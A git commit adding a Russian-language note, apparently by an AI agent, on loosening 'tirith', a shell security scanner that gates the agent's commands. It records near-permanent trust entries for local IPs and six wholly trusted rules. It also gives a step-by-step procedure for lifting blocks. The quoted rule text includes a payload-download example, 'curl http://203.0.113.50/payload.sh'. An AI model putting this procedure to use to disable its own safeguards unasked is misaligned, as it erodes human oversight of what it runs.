[2026-09-15] eagle: family/how-to/home-automation.md personal/tech/deepseek-language-drift.md personal/tech/hermes-fork-vs-upstream.md personal/tech/hermes-git-repo.md personal/tech/tirith-trust.md
This commit is contained in:
@@ -0,0 +1,145 @@
|
||||
# Tirith — снятие блокировок (trust)
|
||||
|
||||
**Дата:** 2026-09-15
|
||||
**Статус:** актуально
|
||||
**Что это:** tirith — сканер безопасности, который стоит между агентом и shell.
|
||||
Он блокирует команды по своим правилам (rule_id) и требует подтверждения.
|
||||
|
||||
## Где что лежит
|
||||
|
||||
| Что | Путь |
|
||||
|-----|------|
|
||||
| Бинарник | `~/.hermes/bin/tirith` (также `~/.hermes/hermes-whale/bin/tirith`) |
|
||||
| Allowlist (trust) | `~/.config/tirith/trust.json` |
|
||||
| Threat DB | `~/.local/share/tirith/tirith-threatdb.dat` |
|
||||
| Лог срабатываний | `~/.local/share/tirith/log.jsonl` |
|
||||
| Последний триггер | `~/.local/share/tirith/last_trigger.json` |
|
||||
|
||||
В конфиге Whale (`hermes-whale/config.yaml`, секция `security`):
|
||||
```yaml
|
||||
security:
|
||||
tirith_enabled: true
|
||||
tirith_path: tirith # бинарник резолвится из ~/.hermes/bin
|
||||
tirith_timeout: 5
|
||||
tirith_fail_open: true
|
||||
tirith_allowlist: # ⚠️ МЁРТВЫЙ КЛЮЧ — не читается никем
|
||||
- mixed_script_in_label
|
||||
- homoglyph_in_path
|
||||
```
|
||||
|
||||
**Критично:** `security.tirith_allowlist` в config.yaml **не работает**.
|
||||
Проверено grep по `tools/tirith_security.py` и `tools/approval.py` — ключ не читается.
|
||||
Реальное управление — только через `tirith trust` → `~/.config/tirith/trust.json`.
|
||||
Ключ оставлен в конфиге как документация.
|
||||
|
||||
## Как снять правило
|
||||
|
||||
```bash
|
||||
TIRITH=~/.hermes/bin/tirith
|
||||
|
||||
# 1. Посмотреть, что сработало последним
|
||||
$TIRITH trust last # или: jq . ~/.local/share/tirith/last_trigger.json
|
||||
|
||||
# 2. Узнать, что делает правило
|
||||
$TIRITH explain --rule <rule_id>
|
||||
|
||||
# 3. Добавить в trust (pattern + scope правила)
|
||||
$TIRITH trust add <pattern> --rule <rule_id> --ttl 3650d
|
||||
|
||||
# 4. Проверить
|
||||
$TIRITH trust list
|
||||
$TIRITH check "<команда>" # пустой вывод = проходит
|
||||
```
|
||||
|
||||
**Замечания по синтаксису:**
|
||||
- `tirith explain <rule>` — **не работает**, нужен флаг: `tirith explain --rule <rule>`
|
||||
- `tirith trust add` требует `--rule`, иначе правило не скоупится
|
||||
- `--ttl 3650d` = 10 лет (практически «навсегда»); в списке отображается как дата
|
||||
|
||||
## Правило `raw_ip_url` — «IP вместо hostname»
|
||||
|
||||
**Это ровно тот случай, о котором спрашивал Alex: URL с сырым IP вместо домена.**
|
||||
|
||||
```
|
||||
raw_ip_url — Raw IP address in URL [hostname]
|
||||
Severity: Medium — raw IP URLs bypass domain-based security controls
|
||||
Description: URL uses a raw IPv4 or IPv6 address instead of a hostname.
|
||||
Loopback (127.x, ::1) exempt.
|
||||
Example flagged: curl http://203.0.113.50/payload.sh
|
||||
Example safe: curl https://example-cli.dev/install.sh
|
||||
False positives: Development/testing commonly use raw IPs.
|
||||
Add trusted IPs to your policy allowlist.
|
||||
Remediation: Replace IP with hostname, or verify IP belongs to trusted server.
|
||||
```
|
||||
|
||||
**Масштаб проблемы:** в `log.jsonl` правило `raw_ip_url` сработало **2991 раз**.
|
||||
|
||||
### Частота по адресам (топ)
|
||||
|
||||
| Срабатываний | IP | Чей |
|
||||
|---|---|---|
|
||||
| 348 | 192.168.1.86 | LAN |
|
||||
| 149 | 192.168.2.176 | LAN (NAS) |
|
||||
| 127 | 192.168.1.14 | LAN |
|
||||
| 56 | 90.189.160.148 | внешний |
|
||||
| 36 | 192.168.1.75 | LAN |
|
||||
| 14 | 91.207.28.205 | внешний |
|
||||
| 10 | 192.168.2.1 | LAN (роутер) |
|
||||
|
||||
## Что разрешено (2026-09-15)
|
||||
|
||||
Все **локальные** адреса из логов — доверенные, добавлены с `--ttl 3650d`:
|
||||
|
||||
```
|
||||
192.168.2.176 192.168.1.86 192.168.1.14 192.168.1.75
|
||||
192.168.1.8 192.168.1.15 192.168.2.1 192.168.2.197
|
||||
192.168.2.17 192.168.2.20 172.17.0.1 172.16.3.5
|
||||
172.16.3.4 10.99.1.2 127.0.0.1 127.0.0.0
|
||||
```
|
||||
|
||||
Плюс ранее добавленные (не про IP):
|
||||
```
|
||||
confusable_text non_ascii_path homoglyph_in_path
|
||||
mixed_script_in_label non_ascii_hostname confusable_domain
|
||||
```
|
||||
|
||||
Проверка: `tirith check "ssh admin@192.168.1.86"` → пусто (проходит).
|
||||
|
||||
## Внешние IP — НЕ разрешены (моё решение, не подтверждено Alex'ом)
|
||||
|
||||
В логах есть внешние адреса, они **оставлены под блокировкой**:
|
||||
`90.189.160.148` (56), `91.207.28.205` (14), `93.171.215.109` (8),
|
||||
`94.130.164.126`, `91.207.28.2`.
|
||||
|
||||
Решение принято **мной** (агент не стал разрешать чужие адреса без спроса).
|
||||
Alex'у задан вопрос — ответа не было. Т.е. это **не подтверждённое решение**,
|
||||
а консервативный дефолт. При следующем обращении — переспросить.
|
||||
|
||||
Если понадобится — добавлять каждой командой отдельно, осознанно.
|
||||
|
||||
**Альтернатива:** правило `raw_ip_url` можно снять целиком, добавив `raw_ip_url`
|
||||
как pattern (так сделано с `confusable_text` и остальными шестью).
|
||||
Тогда блокировка исчезнет для **всех** адресов, включая внешние.
|
||||
Не сделано сознательно — внешние адреса остаются под защитой.
|
||||
|
||||
## Урок: где искать правило (моя ошибка в диагностике)
|
||||
|
||||
Изначально я сказал Alex'у «такого правила нет» — **это было неверно**.
|
||||
Искал в `tools/approval.py` (список `DANGEROUS_PATTERNS`, ~100 паттернов)
|
||||
и `tools/tirith_security.py` — в обоих пусто по IP.
|
||||
|
||||
**Правило живёт в самом бинарнике tirith** (Rust), а Python-модуль только
|
||||
вызывает его и получает вывод. То есть `tirith_security.py` — *потребитель*,
|
||||
не *источник*. Искать надо в:
|
||||
1. `~/.local/share/tirith/last_trigger.json` — что именно сработало (`rule_ids`)
|
||||
2. `~/.local/share/tirith/log.jsonl` — вся история срабатываний
|
||||
3. `tirith explain --rule <id>` — описание правила
|
||||
4. `tirith trust list` — что уже доверено
|
||||
|
||||
Тот же принцип, что и с `security.tirith_allowlist`: в конфиге ключ есть,
|
||||
но система его не читает. **Наличие ключа в конфиге ≠ рабочая настройка.**
|
||||
|
||||
## Связанное
|
||||
|
||||
- [[hermes-git-repo]] — структура репо, .gitignore
|
||||
- [[hermes-fork-vs-upstream]] — расхождение с апстримом
|
||||
Reference in New Issue
Block a user